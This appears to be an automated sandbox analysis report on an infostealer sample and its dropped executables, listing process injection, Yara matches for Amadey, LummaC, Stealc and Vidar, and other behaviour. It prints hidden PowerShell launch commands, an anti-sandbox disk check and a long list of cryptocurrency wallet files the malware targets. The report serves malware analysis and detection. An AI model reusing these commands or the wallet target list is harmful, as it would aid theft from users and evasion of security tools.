Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E898B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00E898B8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8EB6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00E8EB6D
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00E8A1A5
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8A308 SetUnhandledExceptionFilter,	6_2_00E8A308
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E898B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00E898B8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8EB6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00E8EB6D
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C57AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C57AC62

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_00748070 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

4_2_00748070

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe

Memory written: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe "C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe "C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" gOsYxjsoymkBmrzpQYy "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe "if ((Get-WmiObject Win32_DiskDrive \| Select-Object -ExpandProperty Model \| findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse \| Where-Object { -not $_.PSIsContainer } \| Measure-Object).Count)) {exit 900} else {exit 1}"
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe "if ((get-wmiobject win32_diskdrive \| select-object -expandproperty model \| findstr /i 'wds100t2b0a') -and (-not (get-childitem -path f:\ -recurse \| where-object { -not $_.psiscontainer } \| measure-object).count)) {exit 900} else {exit 1}"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe "if ((get-wmiobject win32_diskdrive \| select-object -expandproperty model \| findstr /i 'wds100t2b0a') -and (-not (get-childitem -path f:\ -recurse \| where-object { -not $_.psiscontainer } \| measure-object).count)) {exit 900} else {exit 1}"

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Code function: 7_2_6C5C4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

7_2_6C5C4760

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Code function: 7_2_6C4A1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

7_2_6C4A1C30

Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569543297.0000000000DB1000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: @iProgram Manager
Source: Anv6Gbh51e.exe, 00000000.00000002.2232778096.0000000000581000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: JProgram Manager

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_0076A38F cpuid

4_2_0076A38F

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: EnumSystemLocalesW,	4_2_007820C8
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: EnumSystemLocalesW,	4_2_00782113
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: EnumSystemLocalesW,	4_2_007781BC
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: EnumSystemLocalesW,	4_2_007821AE
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00782239
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetLocaleInfoW,	4_2_0078248C
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_007825B2
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetLocaleInfoW,	4_2_007786DE
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetLocaleInfoW,	4_2_007826B8
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00782787
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	5_2_00EA20C8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	5_2_00EA21AE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	5_2_00E981BC
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	5_2_00EA2113
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00EA2239
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	5_2_00EA248C
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00EA25B2
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	5_2_00E986DE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	5_2_00EA26B8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00EA2787
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	6_2_00EA20C8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	6_2_00EA21AE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	6_2_00E981BC
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: EnumSystemLocalesW,	6_2_00EA2113
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_00EA2239
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	6_2_00EA248C
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00EA25B2
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	6_2_00E986DE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetLocaleInfoW,	6_2_00EA26B8
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00EA2787

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_007693A7 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

4_2_007693A7

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

4_2_007461F0

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_00E9E97F _free,GetTimeZoneInformation,

5_2_00E9E97F

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_007493D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

4_2_007493D0

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Anv6Gbh51e.exe, Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950714021.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234180153.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1940783118.000000000543A000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1940662413.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2170160359.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230336884.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1940735437.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234399085.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950714021.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 4.0.NKJ797NQF61QBFM5Y63P3Y.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NKJ797NQF61QBFM5Y63P3Y.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.rapes.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Anv6Gbh51e.exe PID: 2692, type: MEMORYSTR
Source: Yara match	File source: 21.2.Yg1HwMX.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Yg1HwMX.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Yg1HwMX.exe.3969550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Anv6Gbh51e.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2231702141.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2983153667.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Yg1HwMX.exe PID: 3408, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000007.00000003.2246908539.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2569237945.00000000009E1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Anv6Gbh51e.exe, 00000000.00000003.2170160359.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json
Source: Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco"g
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstoragee
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore"`
Source: Anv6Gbh51e.exe, 00000000.00000003.2170160359.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonRh
